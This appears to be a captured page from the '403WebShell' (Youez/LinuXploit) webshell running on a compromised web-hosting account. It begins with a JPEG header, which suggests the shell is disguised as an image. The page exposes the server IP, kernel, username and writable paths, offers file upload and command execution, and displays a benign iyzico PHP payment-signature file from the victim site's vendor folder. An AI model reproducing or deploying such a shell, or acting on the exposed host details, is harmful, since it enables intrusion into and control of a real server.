����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.137.169.229
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./bofirmacademy.com/vendor/iyzico/iyzipay-php/src/Iyzipay/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./bofirmacademy.com/vendor/iyzico/iyzipay-php/src/Iyzipay//IyziAuthV2Generator.php
<?php

namespace Iyzipay;

class IyziAuthV2Generator
{
    public static function generateAuthContent($uri, $apiKey, $secretKey, $randomString, Request $request = null)
    {
        $hashStr = "apiKey:" . $apiKey . "&randomKey:" . $randomString ."&signature:" . self::getHmacSHA256Signature($uri, $secretKey, $randomString, $request);

        $hashStr = base64_encode($hashStr);

        return $hashStr;
    }

    public static function getHmacSHA256Signature($uri, $secretKey, $randomString, Request $request = null)
    {
        $dataToEncrypt = $randomString . self::getPayload($uri, $request);

        $hash = hash_hmac('sha256', $dataToEncrypt, $secretKey, true);
        $token = bin2hex($hash);

        return $token;
    }

    public static function getPayload($uri, Request $request = null)
    {

        $startNumber  = strpos($uri, '/v2');
        $endNumber    = strpos($uri, '?');
        if(strpos($uri,"subscription") || strpos($uri,"ucs")){
            $endNumber = strlen($uri);
            if(strpos($uri,'?')){
                $endNumber    = strpos($uri, '?');
            }
        }
        $endNumber-=  $startNumber;

        $uriPath      =  substr($uri, $startNumber, $endNumber);

        if (!empty($request) && $request->toJsonString() != '[]')
            $uriPath = $uriPath.$request->toJsonString();

        return $uriPath;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit